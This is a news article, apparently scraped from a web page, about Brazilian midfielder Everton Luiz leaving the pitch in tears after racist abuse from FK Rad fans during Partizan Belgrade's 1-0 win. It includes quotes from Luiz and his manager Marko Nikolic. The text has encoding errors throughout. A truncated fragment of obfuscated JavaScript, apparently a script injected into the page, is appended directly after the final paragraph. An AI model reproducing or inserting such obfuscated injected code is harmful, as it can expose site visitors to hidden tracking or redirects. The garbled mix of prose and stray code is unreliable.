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Partizan Belgrade’s Brazilian Midfielder Everton Luiz leaves the pitch in tears after racist abuse by FK Rad fans

Brazilian midfielder, Everton Luiz was subjected to monkey chants and jeersAfrom the terraces throughout his side’s 1-0 victory over neighbours FK Rad.

Everton Luiz, the Partizan Belgrade midfielder, left the pitch in tears on Sunday after he was racially abused by sections of a rival clubas supporters.

The 28-year-old Brazilian midfielder was subjected to monkey noises and jeers throughout his sideas 1-0 away win over neighbours FK Rad.

The match was briefly stopped at one point while stewards removed a banner insulting Luiz, while warnings to fans issued over the Stadion Karlj Petar Prvias PA system failed to stop the abuse.

Luiz appeared to make a gesture to the Rad supporters after the final whistle, which sparked small scuffles in the stands and arguments between his fellow players on the pitch.

The former Lugano and St Gallen midfielder then left the field of play in a clear state of distress.

After the match, he told reporters: a?I’ve been suffering racist abuse during the entire 90 minutes and also was upset by the home players, who supported that. They were all attacking me. I want to forget this as soon as possible. I love Serbia and the people here, that is why I cried. But please say no to racism.a?

Luizas manager, Marko Nikolic, called for Serbiaas football authorities to discipline Radas supporters, but did not condone his playeras reaction to the abuse.

He said: a?Everton should not have reacted but something provoked his outburst, didn’t it?

a?Both the sides deserve punishment. These things happen in football but it is now up to the authorities to sanction the offenders. It’s a return to the reality of Serbian football.a?

Nikolic himself was embroiled in a racism row last year when he was sacked by Sloveniaas Olimpija Ljubljana for abusing one of his own players. ment[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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